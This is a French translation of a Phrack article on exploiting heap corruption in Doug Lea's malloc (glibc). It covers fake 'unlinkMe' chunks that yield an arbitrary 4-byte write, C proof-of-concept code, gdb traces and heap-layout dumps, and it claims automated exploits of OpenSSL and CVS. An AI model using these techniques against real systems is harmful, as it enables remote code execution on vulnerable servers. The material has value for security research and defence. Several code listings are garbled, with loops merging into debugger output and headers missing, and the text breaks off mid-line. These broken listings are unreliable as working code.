==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f |=--------------[ Exploits avancés sur le malloc de Doug Lea ]---------=| |=----------------------------------------------------------------------=| |=-----------------------[ jp |]-------------------------=| |=----------------------------------------------------------------------=| 1 - Résumé 2 - Introduction 3 - Automatiser les problèmes d'exploitation 4 - Les techniques 4.1 - La primitive aa4bmo 4.1.1 - Premier chunk unlinkMe 4.1.1.1 - Preuve de concept 1 : chunk unlinkMe 4.1.2 - Nouveau chunk unlinkMe 4.2 - Analyse de l'agencement de la heap 4.2.1 - Preuve de concept 2 : debugging de l'agencement de la heap 4.3 - Reset de l'agencement - Prédiction de l'agencement initial - modèle du serveur 4.4 - Obtenir des informations du processus distant 4.4.1 - Modifier les données utilisateur statiques - trouver les DATAs du processus 4.4.2 - Modifier les entrées de l'utilisateur - trouver l'endroit du shellcode 4.4.2.1 - Preuve de concept 3 : percuter la sortie 4.4.3 - Modifier les entrées de l'utilisateur - trouver les données de la libc 4.4.3.1 - Preuve de concept 4 : libérer la sortie 4.4.4 - Faille basée sur la fuite de mémoire de la heap - trouver les données de la libc 4.5 - Mauvais traitements sur les informations qui ont fuit 4.5.1 - Reconnaître la zone 4.5.2 - Morecore 4.5.2.1 - Preuve de concept 5 : jumper avec morecore 4.5.3 - Force brute sur le GOT de la libc 4.5.3.1 - Preuve de concept 6 : force brute sur le GOT de la libc sous-entendue 4.5.4 - Fingerprinting de la libc 4.5.5 - Corruption de la zone (haut, dernier reste et modification du binaire) 4.6 - Copier le shellcode "à la main" 5 - Conclusions 6 - Remerciements 7 - Références Annexe 1 - Résumé des structures internes de malloc --------------------------------------------------------------------------- --[ 1. Résumé Ce papier détaille plusieurs techniques qui permettent une exploitation plus générique et fiable des processus qui nous fournissent la capacité de réécrire une valeur presque arbitraire de 4 octets à n'importe quel endroit. Des techniques de plus haut niveau seront contruites au-dessus de la technique basique du unlink() (présentée dans l'article de MaXX [2]) pour exploiter les processus qui permettent à un(e) attaquant(e) de corrompre le malloc de Doug Lea (l'allocateur de mémoire dynamique par défaut de Linux). unlink() est utilisée pour forcer des fuites de mémoire spécifiques de l'agencement de la mémoire du processus cible. L'information obtenue est utilisée pour exploiter la cible sans aucune connaissance à priori ou valeurs codées en dur, même lorsqu'il y a une randomization de l'adresse de chargement de l'objet principal et/ou des librairies. Plusieurs ruses seront présentées au cours de différents scénarios, incluant : * ruse spéciale des chunks (partie rempart et partie unlikeMe) * prise de connaissance de l'agencement de la heap et analyse en utilisant les outils de debuggage * trouver automatiquement le shellcode injecté dans la mémoire du processus * forcer un processus distant à fournir les adresses des structures internes de malloc * chercher après un pointeur de fonction au sein de la glibc * injection du shellcode dans une adresse mémoire connue La combinaison de ces techniques permet, par exemple, d'exploiter les faillles "SSLv2 Malformed Client Key Buffer Overflow" de OpenSSL [6] et "Directory double free" de CVS de façon totalement automatique (sans avoir à coder en dur un quelconque offset ou adresse fixe cible que ce soit). --------------------------------------------------------------------------- --[ 2. Introduction Soit une faille qui nous permet de corrompre les structures internes de malloc (i.e. heap overflow, double free(), etc.), nous pouvons dire qu'elle nous "fournit" la capacité de faire au moins une primitive de "réécriture de 4 octets reflets presque arbitraires" ['almost arbitrary 4 bytes mirrored overwrite'] (aa4bmo). Nous disons que c'est une réécriture à "reflet" car l'endroit où nous écrivons moins 8 sera stocké dans l'adresse donnée par la valeur que nous écrivons plus 12. Notez que nous disons presque arbitraire car nous ne pouvons écrire que des valeurs qui sont écrivables, comme effet secondaire de la copie mirroir. Le concept de "primitive" a été précedemment présenté dans l'article "Advances in format string exploitation" [4] et dans la présentation "'About exploits writing" [5]. Les travaux "Vudo - An object superstitiously believed to embody magical power" de Michael "MaXX" Kaempf [2] et "Once uppon a free()"' [3] donnent des explications très détaillées sur comment obtenir la primitive aa4bmo depuis une faille. A [8] et [9] peuvent être trouvés les premiers exemples de l'exploitation basée sur malloc. Nous utiliserons la technique de unlink() de [2] comme méchanisme basique de bas niveau pour obtenir la primitive aa4bmo, que nous utiliserons à travers tout l'article pour construire des techniques de plus au niveau. corruption techniques faille -> des structures -> primitive -> de plus haut de malloc niveau ---------------------------------------------------------------------- heap oveflow technique libérer la sortie double free() -> unlink() -> aa4bmo -> percuter la sortie ... partie rempart ... Cet article est principalement centré sur la question qui se pose après que nous ayons atteint la primitive aa4bmo : que devrions-nous faire une fois que nous connaissons un processus nous permettant de réécrire 4 octets de sa mémoire avec des données presque arbitraires ? De plus, de petits trucs pour atteindre la primitive aa4bmo de façon sûre sont expliquée. Bien que les techniques soient présentées dans le contexte de l'exploitation de heap overflow basé sur malloc, elles peuvent très bien être employées par exemple pour aider dans les exploits de format string ou toute autre faille ou combinaison d'elles, qui nous fournit les mêmes capacités. La recherche était centrée sur la plate-forme Linux/Intel ; les sources de glibc-2.2.4, glibc-2.2.5 et glibc-2.3 furent utilisées, principalement le fichier malloc.c (une version mise à jour de malloc peut être trouvée à [1]). Au long de cet article nous utiliserons "malloc" pour référer à l'implémentation basée sur le malloc de Doug Lea. --------------------------------------------------------------------------- --] 3. Automatiser les problèmes d'exploitation Lorsqu'on tente de répondre à la question : "que devrions-nous faire une fois que nous savons que nous pouvons réécrire 4 octets de la mémoire du processus avec des données presque arbitraires ?", nous nous trouvons face à plusieurs problèmes : A] Comment pouvons-nous être sûrs que nous réécrivons les octets désirés avec les octets désirés ? Comme la primitive aa4bmo est la couche sous-jacente qui nous permet d'implémenter les techniques de plus haut niveau, nous avons besoins d'être complètement sûrs que cela fonctionne comme nous le voulons, même lorsque nous savons que nous ne savons pas où nos données seront logées. Donc, pour être utile, la primitive ne devrait pas crasher pendant le processus exploité. B] Que devrions-nous écrire ? Nous pourrions écrire l'adresse du code que nous avons l'intention d'exécuter, ou nous pourrions modifier une variable du processus. Dans le cas où nous injectons notre shellcode dans le processus, nous avosn besoin de connaître sa localisation, qui pourrait varier de même que l'état de la heap/stack du processus en évolution. C] Où devrions-nous écrire ? Plusieurs endroits connus peuvent être réécrits pour modifier le flux de l'exécution, incluant par exemple ceux montrés dans [10], [11], [12] et [14]. Dans le cas où nous réécrivons un pointeur sur fonction (comme quand on réécrit le cadre d'une pile, une entrée de GOT, un pointeur sur fonction spécifique d'un processus, setjmp/longjmp, un pointeur sur fonction d'un descripteur de fichier, etc.), nous avons besoin de connaître sa localisation précise. La même chose arrive si nous projetons de réécrire une variable d'un processus. Par exemple, une adresse d'entrée de GOT pourrait être différante même lorsque le code source est le même, car la compilation et les paramètres de linkage peuvent donner un agencement de processus différant, comme cela se produit avec le même code source compilé pour différantes distribitions de Linux. Tout au long de cet article, nos exemples seront orientés vers la réécriture d'un pointeur sur fonction avec l'adresse du shellcode injecté. Cependant, certaines techniques s'appliquent également à d'autres cas. Les exploits typiques sont basés sur une cible, codant en dur au moins une des valeurs requises pour l'exploitation, comme l'adresse d'une entrée GOT donnée, dépendant de la version du démon ciblé et de la distribution Linux et de la version de la release. Bien que cela simplifie le processus d'exploitation, il n'est pas toujours faisable d'obtenir l'information requise (i.e. un serveur peut être configuré pour mentir ou ne pas divulguer son numéro de version). En plus, nous ppourrions ne pas avoir l'information dont nous avons besoin pour la cible. Bruteforcer plus d'un paramètre d'exploit peut ne pas toujours être possible, si chacune des valeurs ne peut être obtenue séparément. Il y a des techniques bien connues utilisées pour améliorer la fiabilité (probabilité de succès) d'un exploit donné, mais elles ne sont qu'une aide pour améliorer les chances d'exploitation. Par exemple, nous pourrions remplir le shellcode avec plus de nops, nous pourrions également injecter une plus grande quantité de shellcode dans le processus (selon le processus étant exploité) deduisant qu'il y a plus de possibilité de toucher de cette façon. Bien que ces renforcements amélioreront la fiabilité de notre exploit, ils ne sont pas suffisants pour qu'un exploit fonctionne toujours sur n'importe quelle cible. Pour créér un exploit entièrement fiable, nous aurons besoin d'obtenir et l'adresse où notre shellcode est injecté et l'adresse d'un quelconque pointeur sur fonction pour réécrire. Dans la suite, nous parlons de comment ces exigeances requises pourraient être accomplies de façon automatisée, sans aucune connaissance a priori du serveur cible. La plus grande partie de l'article détaille comment nous pouvons forcer un processus distant à laisser fuire les informations requises en utilisant la primitive aa4bmo. --------------------------------------------------------------------------- --] 4. Les techniques --] 4.1 La primitive aa4bmo --] 4.1.1 Premier morceau de unlinkMe Pour être sûrs que notre primitive fonctionne comme nous l'atttendons, même dans des scénarios où nous ne sommes pas en mesure de prédire totalement la localisation de notre faux morceau injecté, nous construisons le "morceau unlinkMe" suivant : -4 -4 où quoi -8 -11 -15 -19 ... |--------|--------|--------|--------|--------|--------|--------|... tailleB tailleA FD BK ----------- nasty chunk -----------|--------|--------------------> (X) Nous avons juste besoin d'un appel free() pour claquer notre bloc après le point (X) pour réécire "où" avec "quoi". Lorsque free() est appelé la séquence suivant prend place : - chunk-free() tente de chercher après le chunk suivant, elle prend la taille du chunk (<0) et l'ajoute à l'adresse du chunk, obtenant toujours la tailleA du "nasty chunk" comme début du prochain chunk, comme toute les tailles après le (X) lui sont relatives. [NDT : je n'ai pas pu/su traduire "chunk" par autre chose que "morceau" ou "partie". Ce n'est pas vraiment le sens exact ici donc à partir de maintenant je laisse chunk. Désolé] - Après, ça check le bit prev_inuse de notre chunk, mais comme nous le mettons (chacune des tailles après le point (X) a le bit prev_inuse, le bit IS_MMAPPED n'est pas mis) ça ne tente pas de consolider en arrière (parce que le chunk précédent "semble" être alloué). - Enfin, ça vérifie si le faux prochain chunk (notre chunk méchant) est libre. Ca prend sa taille (-4) pour chercher après le chunk suivant, obtenant notre fausse tailleB, et check le flag prev_inuse, qui n'est pas mis. Donc, ça tente de unlinker notre chunk méchant depuis lui pour l'unir avec le chunk en train d'être libéré. - Lorsque unlink() est appelé, nous obtenons la primitive aa4bmo. La technique du unlink() est décrite dans [2] et [3]. 4.1.1.1 - Preuve de concept 1 : chunk unlinkMe Nous utiliserons le code suivant pour montrer d'une façon simple le chunk unlinkMe en action : #define WHAT_2_WRITE 0xbfffff00 #define WHERE_2_WRITE 0xbfffff00 #define SZ 256 #define SOMEOFFSET 5 + (rand() % (SZ-1)) #define PREV_INUSE 1 #define IS_MMAP 2 int main(void){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = WHAT_2_WRITE; unlinkMe[i++] = WHERE_2_WRITE-8; for(;imutex); 3205 chunk_free(ar_ptr, p); Après quelques vérifications, nous atteignons chunk_free(). (gdb) s chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221 Voyons à quoi ressemble notre chunk à un endroit au hasard... (gdb) x/20x p 0x8049874: 0xfffffd71 0xfffffd6d 0xfffffd69 0xfffffd65 0x8049884: 0xfffffd61 0xfffffd5d 0xfffffd59 0xfffffd55 0x8049894: 0xfffffd51 0xfffffd4d 0xfffffd49 0xfffffd45 0x80498a4: 0xfffffd41 0xfffffd3d 0xfffffd39 0xfffffd35 0x80498b4: 0xfffffd31 0xfffffd2d 0xfffffd29 0xfffffd25 Nous avons dumpé le chunk en inclant son en-tête, comme reçu par chunk,_free(). 3221 INTERNAL_SIZE_T hd = p->size; /* its head field */ 3235 sz = hd & ~PREV_INUSE; (gdb) p/x hd $5 = 0xfffffd6d (gdb) p/x sz $6 = 0xfffffd6c 3236 next = chunk_at_offset(p, sz); 3237 nextsz = chunksize(next); En utilisant la taille relative négative, chunk_free() obtiens le chunk suivant, voyons quel est le chunk "suivant" : (gdb) x/20x next 0x80495e0: 0xfffffffc 0xfffffffc 0xbfffff00 0xbffffef8 0x80495f0: 0xfffffff5 0xfffffff1 0xffffffed 0xffffffe9 0x8049600: 0xffffffe5 0xffffffe1 0xffffffdd 0xffffffd9 0x8049610: 0xffffffd5 0xffffffd1 0xffffffcd 0xffffffc9 0x8049620: 0xffffffc5 0xffffffc1 0xffffffbd 0xffffffb9 (gdb) p/x nextsz $7 = 0xfffffffc C'est notre chunk méchant... 3239 if (next == top(ar_ptr)) /* merge with top */ 3278 islr = 0; 3280 if (!(hd & PREV_INUSE)) /* consolidate backward */ Nous évitons la consolidation en arrière, car nous mettons le bit prev_inuse. 3294 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ Mais nous forçons une consolidation en avant. La macro inuse_bit_at_offset() ajoute nextsz (-4) à l'adresse de notre chnuk méchant, et cherche après le bit PREV_INUSE dans notre autre taille -4. 3296 sz += nextsz; 3298 if (!islr && next->fd == last_remainder(ar_ptr)) 3306 unlink(next, bck, fwd); unlink() est appelée avec nos valeurs fournies : 0xbffffef8 et 0xbfffff00 comme pointeurs vers l'avant et vers l'arrière (ça ne crash pas, car ce sont des adresses valides). next = chunk_at_offset(p, sz); 3315 set_head(p, sz | PREV_INUSE); 3316 next->prev_size = sz; 3317 if (!islr) { 3318 frontlink(ar_ptr, p, sz, idx, bck, fwd); fronlink() est appelée et notre chunk est inséré dans le bit propre. --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0 bin 126 @ 0x40018430 free_chunk @ 0x80498d8 - size 0xfffffd64 Le chunk a été inséré dans l'un des bins les plus gros... En conséquence de sa taille "négative". Le processus ne crashera pas si nous sommes capables de maintenir cet état. Si plus d'appels free() touchent notre chunk, ça ne crashera pas. Mais il crashera dans le cas où un appel malloc() ne trouve aucun chunk libre pour satisfaire le besoin d'allocation et tente de séparer l'un des bins dans le bin numéro 126, car il tentera de calculer où est le chunk après le faux, sortant du rang des adresses valides à cause de la grosse taille "négative" (ceci ne pourrait pas arriver dans un scénario où il y a assez de mémoire allouée entre le faux chunk et le chunk du haut, forcer cet agencement n'est pas très difficile lorsque le serveur cible n'impose pas de limite sérrée à nos requêtes de taille). Nous pouvons vérifier les résultats de la primitive aa4bmo : (gdb) x/20x 0xbfffff00 !!!!!!!!!! !!!!!!!!!! 0xbfffff00: 0xbfffff00 0x414c0065 0x653d474e 0xbffffef8 0xbfffff10: 0x6f73692e 0x39353838 0x53003531 0x415f4853 0xbfffff20: 0x41504b53 0x2f3d5353 0x2f727375 0x6562696c 0xbfffff30: 0x2f636578 0x6e65706f 0x2f687373 0x6d6f6e67 0xbfffff40: 0x73732d65 0x73612d68 0x7361706b 0x4f480073 Si nous ajoutons quelques faux appels à free() de la façon suivante : for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET); Nous obtenons par exemple le résultat suivant : --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 126 @ 0x40018430 free_chunk @ 0x8049958 - size 0x8049958 free_chunk @ 0x8049954 - size 0xfffffd68 free_chunk @ 0x8049928 - size 0xfffffd94 free_chunk @ 0x8049820 - size 0x40018430 free_chunk @ 0x80499c4 - size 0xfffffcf8 free_chunk @ 0x8049818 - size 0xfffffea4 sans crasher le processus. --] 4.1.2 - Nouveau chunk unlinkMe Les changements introduits dans les nouvelles versions de la libc (glibc-2.3 par exemple) affectent notre chunk unlikeMe. Le problème principal pour nous est relatif à l'addition d'un bit de plus. SIZE_BITS a été modifiée, de #define SIZE_BITS (PREV_INUSE|IS_MMAPPED) à : #define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) Le nouveau flag, NON_MAIN_ARENA est défini comme ceci : /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained from a non-main arena. This is only set immediately before handing the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 [ /* le champ taille est or-é avec NON_MAIN_ARENA si le chunk a été obtenu depuis une zone non-principale. C'est seulement immédiatement mis avant de donner le chunk à l'utilisateur, ci nécessaire. */ ] Ceci fait que notre chunk unlinkMe faute en deux points dans les systèmes utilisant une nouvelle libc. Notre premier problème est situé dans le code suivant : public_fREe(Void_t* mem) { ... ar_ptr = arena_for_chunk(p); ... _int_free(ar_ptr, mem); ... où : #define arena_for_chunk(ptr) \ (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena) et /* check for chunk from non-main arena */ #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) Si heap_for_ptr() est appelée lors du traitement de notre faux chunk, le processus crash de la façon suivante : 0x42074a04 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a04 : and $0x4,%edx (gdb) x/20x $edx 0xffffffdd: Cannot access memory at address 0xffffffdd 0x42074a07 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a07 : je 0x42074a52 0x42074a09 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a09 : and $0xfff00000,%eax 0x42074a0e in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a0e : mov (%eax),%edi (gdb) x/x $eax 0x8000000: Cannot access memory at address 0x8000000 Program received signal SIGSEGV, Segmentation fault. 0x42074a0e in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a0e : mov (%eax),%edi Ensuite, notre second problème se situe lorsque la taille fournie est masquée avec le SIZE_BITS. L'ancien code ressemblait à ceci : nextsz = chunksize(next); 0x400152e2 : mov 0x4(%edx),%ecx 0x400152e5 : and $0xfffffffc,%ecx et le nouveau code est : nextsize = chunksize(nextchunk); 0x42073fe0 <_int_free+112>: mov 0x4(%ecx),%eax 0x42073fe3 <_int_free+115>: mov %ecx,0xffffffec(%ebp) 0x42073fe6 <_int_free+118>: mov %eax,0xffffffe4(%ebp) 0x42073fe9 <_int_free+121>: and $0xfffffff8,%eax Donc, nous ne pouvons plus utiliser -4, la plus petite taille que nous pouvons fournir est -8. Mais en plus, nous ne sommes plus capables de faire pointer chaque chunk vers notre chunk méchant. Le code suivant montre notre nouveau chunk unlikME qui résoud les deux problèmes : unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where,unsigned long sz){ unsigned long *unlinkMe; int i=0; if(sz<13) sz = 13; unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); // 1st nasty chunk unlinkMe[i++] = -4; // PREV_INUSE is not set unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; // 2nd nasty chunk unlinkMe[i++] = -4; // PREV_INUSE is not set unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;isize); if(p == top(ar_ptr)) { fprintf(stderr, " (T)\n"); break; } else if(p->size == (0|PREV_INUSE)) { fprintf(stderr, " (Z)\n"); break; } if(inuse(p)) fprintf(stderr," (A)"); else fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk); if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) fprintf(stderr," (LR)"); else if(p->fd==p->bk & ~inuse(p)) fprintf(stderr," (LC)"); fprintf(stderr,"\n"); p = next_chunk(p); } fprintf(stderr,"sbrk_end %p\n",sbrk_base+sbrked_mem); } static void #if __STD_C heap_layout(arena *ar_ptr) #else heap_layout(ar_ptr) arena *ar_ptr; #endif { mchunkptr p; fprintf(stderr,"\n--- HEAP LAYOUT ---\n"); p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK); for(;;p=next_chunk(p)) { if(p==top(ar_ptr)) { fprintf(stderr,"|T|\n\n"); break; } if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) { fprintf(stderr,"|L|"); continue; } if(inuse(p)) { fprintf(stderr,"|A|"); continue; } fprintf(stderr,"|%lu|",bin_index(p->size)); continue; } } } static void #if __STD_C bin_dump(arena *ar_ptr) #else bin_dump(ar_ptr) arena *ar_ptr; #endif { int i; mbinptr b; mchunkptr p; fprintf(stderr,"\n--- BIN DUMP ---\n"); (void)mutex_lock(&ar_ptr->mutex); fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n", ar_ptr,top(ar_ptr),chunksize(top(ar_ptr))); for (i = 1; i < NAV; ++i) { char f = 0; b = bin_at(ar_ptr, i); for (p = last(b); p != b; p = p->bk) { if(!f){ f = 1; fprintf(stderr," bin %d @ %p\n",i,b); } fprintf(stderr," free_chunk @ %p - size 0x%.4x\n", p,chunksize(p)); } (void)mutex_unlock(&ar_ptr->mutex); fprintf(stderr,"\n"); } [NDT : Je me rends compte que je n'ai aucune traduction pour le mot heap (à vrai dire je n'ai qu'une vague idée de ce que ça représente, mais je n'ai pas trouvé de mot, à par "tas"... J'ai traduit "layout" par "agencement", mot un peu agaçant mais je fais ce que je peux, hein :). Chunk signifie "morceau", "portion", mais ça ne colle pas trop alors je laisse. Pour tout commentaire à ce sujet, e-mail.] --] 4.2.1 - Preuve de concept 2 : debugging de l'agencement de la heap Nous utiliserons le code suivant pour montrer comment les fonctions de debug aident à analyser l'agencement de la heap. #include int main(void){ void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata; curly = malloc(256); larry = malloc(256); moe = malloc(256); po = malloc(256); lala = malloc(256); free(larry); free(po); tw = malloc(128); piniata = malloc(128); dipsi = malloc(1500); free(dipsi); free(lala); } La section exemple de debugging aide à comprendre les algorithmes de base de malloc et les structures de données : (gdb) set env LD_PRELOAD ./heapy.so Nous passons outre le vrai malloc avec nos fonctions de degguging, heapy.so inclut donc les fonctions de dumping de l'agencement de la heap. (gdb) r Starting program: /home/jp/cerebro/heapy/debugging_sample 4 curly = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) extended top chunk: previous size 0x0 new top 0x80496a0 size 0x961 returning 0x8049598 from top chunk (gdb) p heap_dump(0x40018040) --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0961 (T) sbrk_end 0x804a000 (gdb) p bin_dump(0x40018040) --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960 (gdb) p heap_layout(0x40018040) --- HEAP LAYOUT --- |A||T| Le premier chunk est alloué, notez la différence entre la taille requise (256 octets) et la taille passée à chunk_alloc(). Comme il n'y a pas de chunk, le haut a besoin d'être étendu et de la mémoire est demandée au système d'exploitation. Plus de mémoire que nécessaire est demandée, l'espace restant est alloué au "top chunk". Dans la sortie de heap-dump() le (A) représente un chunk alloué, alors que le (T) signifie que le chunk est celui du haut [NDT : "top"]. Notez que la taille du top chunk (0x961) a son dernier bit mis, indiquant que le chunk précédent est alloué : /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */ #define PREV_INUSE 0x1UL La sortie de bin_dump() ne montre pas de bin, comme il n'y a pas encore de chunk free, sauf depuis le haut. La sortie de heap_layout() montre juste un chunk alloué juste après, en haut. 5 larry = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80496a0 from top chunk new top 0x80497a8 size 0x859 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0859 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858 --- HEAP LAYOUT --- |A||A||T| Un nouveau chunk est alloué depuis l'espace restant au top chunk. La même chose se produit avec les prochains appels malloc(). 6 moe = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80497a8 from top chunk new top 0x80498b0 size 0x751 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0751 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750 --- HEAP LAYOUT --- |A||A||A||T| 7 po = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80498b0 from top chunk new top 0x80499b8 size 0x649 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0649 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648 --- HEAP LAYOUT --- |A||A||A||A||T| 8 lala = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80499b8 from top chunk new top 0x8049ac0 size 0x541 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0109 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 --- HEAP LAYOUT --- |A||A||A||A||A||T| 9 free(larry); [1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0) fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0109 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 33 @ 0x40018148 free_chunk @ 0x80496a0 - size 0x0108 --- HEAP LAYOUT --- |A||33||A||A||A||T| Un chunk est libéré. La macro frontlink() est appelée pour insérer le nouveau chnuk libre dans le bin correspondant : frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd); Notez que le paramètre d'adresse de zone (ar_ptr) a été omis dans la sortie. Dans ce cas, le chunk 0x80496a0 a été inséré dans le bin numéro 33 selon sa taille. Comme ce chunk est le seul dans son bin (nous pouvons le vérifier dans la sortie de bin_dump() ), c'est un chunk seul (LC) ["lonely chunk"] (nous verrosn plus tard qu'être seul le rend dangereux ...), ses pointeurs bk et fd sont égaux et pointent sur le bin numéro 33. Dans la sortie de heap_layout(), le nouveau chunk libre est représenté par le numéro du bin où il est situé. 10 free(po); [1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0) fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 | chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 33 @ 0x40018148 free_chunk @ 0x80496a0 - size 0x0108 free_chunk @ 0x80498b0 - size 0x0108 --- HEAP LAYOUT --- |A||33||A||33||A||T| A présent, nous avons deux chunks libres dans le bin numéro 33. Nous pouvons maintenant apprécier comment la liste doublement reliée est construite. Le pointeur forward du chunk à 0x80498b0 pointe sur l'autre chunk dans la liste, le pointeur backward pointe sur la tête de la lite, le bin. Notez qu'il n'y a plus un chunk seul. Donc, nous pouvons voir la différence entre une adresse de heap et une adresse de libc (l'adresse du bin), 0x080496a0 et 0x40018148 respectivement. 11 tw = malloc(128); [1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136) unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split) new last_remainder 0x8049728 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 1 @ 0x40018048 free_chunk @ 0x8049728 - size 0x0080 bin 33 @ 0x40018148 free_chunk @ 0x80498b0 - size 0x0108 --- HEAP LAYOUT --- |A||A||L||A||33||A||T| Dans ce cas, la taille demandée pour la nouvelle allocation est plus petite que la taille du chunk disponible. Donc, le premier tampon libéré est pris depuis le bin avec la macro unlink() et divisé. La première partie est allouée, l'espace libre restant est appelé le "dernier reste", qui est toujours stocké dans le premier bin, comme nous pouvons le voir dans la sortie de bin_dump(). Dans la sortie de heap_layout(), le chunk "dernier reste" est représenté avec un L ; dans la sortie de heap_dump(), (LR) est utilisé. 12 piniata = malloc(128); [1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136) clearing last_remainder frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split) new last_remainder 0x8049938 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 $25 = void --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 1 @ 0x40018048 free_chunk 